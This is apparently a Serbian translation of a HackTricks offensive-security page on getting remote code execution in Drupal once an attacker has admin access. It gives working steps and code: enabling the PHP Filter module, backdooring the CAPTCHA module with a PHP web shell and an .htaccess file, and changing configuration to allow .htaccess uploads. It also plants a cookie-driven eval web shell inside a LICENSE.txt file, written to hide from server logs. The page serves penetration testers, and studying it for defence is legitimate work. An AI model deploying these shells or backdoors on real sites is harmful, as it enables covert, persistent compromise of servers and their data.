Drupal RCE

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Sa PHP Filter Modulom

U starijim verzijama Drupal-a (pre verzije 8), bilo je moguće prijaviti se kao admin i omogućiti PHP filter modul, koji "Omogućava evaluaciju ugrađenog PHP koda/snippetova." Ali od verzije 8 ovaj modul nije instaliran podrazumevano.

Potreban vam je dodatak php da bude instaliran (proverite pristupom /modules/php i ako vrati 403 onda, postoji, ako nije pronađen, onda dodatak php nije instaliran)

Idite na Modules -> (Proverite) PHP Filter -> Sačuvajte konfiguraciju

Zatim kliknite na Dodaj sadržaj -> Izaberite Osnovna stranica ili Članak -> Napišite php shell kod u telu -> Izaberite PHP kod u Tekst formatu -> Izaberite Pregled

Na kraju samo pristupite novo kreiranom nodu:

curl http://drupal-site.local/node/3

Instaliranje PHP Filter modula

U trenutnim verzijama više nije moguće instalirati dodatke samo pristupom vebu nakon podrazumevane instalacije.

Od verzije 8 nadalje, PHP Filter modul nije instaliran podrazumevano. Da bismo iskoristili ovu funkcionalnost, moramo samostalno instalirati modul.

  1. Preuzmite najnoviju verziju modula sa Drupal veb sajta.

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. Kada se preuzme, idite na Administracija > Izveštaji > Dostupna ažuriranja.

  4. Kliknite na Pregledaj, izaberite fajl iz direktorijuma u koji smo ga preuzeli, a zatim kliknite na Instaliraj.

  5. Kada se modul instalira, možemo kliknuti na Sadržaj i napraviti novu osnovnu stranicu, slično kao što smo uradili u primeru za Drupal 7. Ponovo, obavezno izaberite PHP kod iz padajućeg menija Format teksta.

Modul sa zadnjim vratima

U trenutnim verzijama više nije moguće instalirati dodatke samo pristupom vebu nakon podrazumevane instalacije.

Modul sa zadnjim vratima može se kreirati dodavanjem školjke postojećem modulu. Module možete pronaći na drupal.org veb sajtu. Izaberimo modul poput CAPTCHA. Pomaknite se nadole i kopirajte link za tar.gz arhivu.

  • Preuzmite arhivu i izvucite njene sadržaje.

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Napravite PHP web shell sa sledećim sadržajem:

<?php
system($_GET["cmd"]);
?>
  • Zatim moramo kreirati .htaccess fajl kako bismo sebi omogućili pristup folderu. Ovo je neophodno jer Drupal odbija direktni pristup /modules folderu.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • Konfiguracija iznad će primeniti pravila za / folder kada zahtevamo fajl u /modules. Kopirajte oba ova fajla u captcha folder i napravite arhivu.

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Pretpostavljajući da imamo administrativni pristup veb sajtu, kliknite na Upravljaj a zatim na Proširi na bočnoj traci. Zatim kliknite na dugme + Instaliraj novi modul, i bićemo preusmereni na stranicu za instalaciju, poput http://drupal-site.local/admin/modules/install. Pretražite backdoored Captcha arhivu i kliknite na Instaliraj.

  • Kada instalacija uspe, pređite na /modules/captcha/shell.php da biste izvršili komande.

Backdooring Drupal pomoću sinhronizacije konfiguracije

Objavio Coiffeur0x90

Deo 1 (aktivacija Media i Media Library)

U meniju Proširi (/admin/modules), možete aktivirati ono što izgleda kao već instalirani dodaci. Podrazumevano, dodaci Media i Media Library se ne čine aktiviranim, pa ih aktivirajmo.

Pre aktivacije:

Nakon aktivacije:

Deo 2 (iskorišćavanje funkcije Sinhronizacija konfiguracije)

Iskoristićemo funkciju Sinhronizacija konfiguracije da bismo izvezli i otpremili Drupal konfiguracione unose:

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

Popravka system.file.yml

Počnimo sa popravkom prvog unosa allow_insecure_uploads iz:

Fajl: system.file.yml


...

allow_insecure_uploads: false

...

Na:

Fajl: system.file.yml


...

allow_insecure_uploads: true

...

Ispravite polje field.field.media.document.field_media_document.yml

Zatim, ispravite drugi unos file_extensions iz:

Fajl: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Na:

Fajl: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

U ovom blog postu ga ne koristim, ali je napomenuto da je moguće definisati unos file_directory na proizvoljan način i da je ranjiv na napad putanjom pretrage (tako da možemo da se vratimo unutar stabla fajl sistema Drupal-a).

Deo 3 (iskorišćavanje funkcije Dodaj dokument)

Poslednji korak je najjednostavniji i sastoji se od dva podkoraka. Prvi je da otpremimo fajl u .htaccess formatu kako bismo iskoristili Apache direktive i omogućili da .txt fajlovi budu tumačeni od strane PHP motora. Drugi je da otpremimo .txt fajl koji sadrži naš payload.

Fajl: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

Zašto je ovaj trik kul?

Zato što kada se Webshell (koji ćemo nazvati LICENSE.txt) prebaci na Web server, možemo prenositi naše komande putem $_COOKIE, a u zapisnicima Web servera će se prikazati kao legitimni GET zahtev ka tekstualnom fajlu.

Zašto nazvati naš Webshell LICENSE.txt?

Jednostavno zato što ako uzmemo sledeći fajl, na primer core/LICENSE.txt (koji već postoji u Drupal jezgru), imamo fajl od 339 linija i veličine 17.6 KB, što je savršeno za dodavanje malog isečka PHP koda u sredini (jer je fajl dovoljno veliki).

Fajl: Zakrpljeni LICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Deo 3.1 (uploadovanje fajla .htaccess)

Prvo, iskorišćavamo funkciju Dodaj dokument (/media/add/document) da bismo uploadovali naš fajl koji sadrži Apache direktive (.htaccess).

Deo 3.2 (uploadovanje fajla LICENSE.txt)

Zatim, ponovo iskorišćavamo funkciju Dodaj dokument (/media/add/document) da bismo uploadovali Webshell sakriven unutar licence fajla.

Deo 4 (interakcija sa Webshell-om)

Poslednji deo podrazumeva interakciju sa Webshell-om.

Kao što je prikazano na sledećem snimku ekrana, ako kolačić očekivan od našeg Webshella nije definisan, dobijamo sledeći rezultat prilikom konsultovanja fajla putem Web pregledača.

Kada napadač postavi kolačić, može da interaguje sa Webshell-om i izvrši bilo koje komande koje želi.

I kako možete videti u logovima, izgleda da je tražen samo txt fajl.

Hvala što ste izdvojili vreme da pročitate ovaj članak, nadam se da će vam pomoći da dobijete neke shell-ove.

Last updated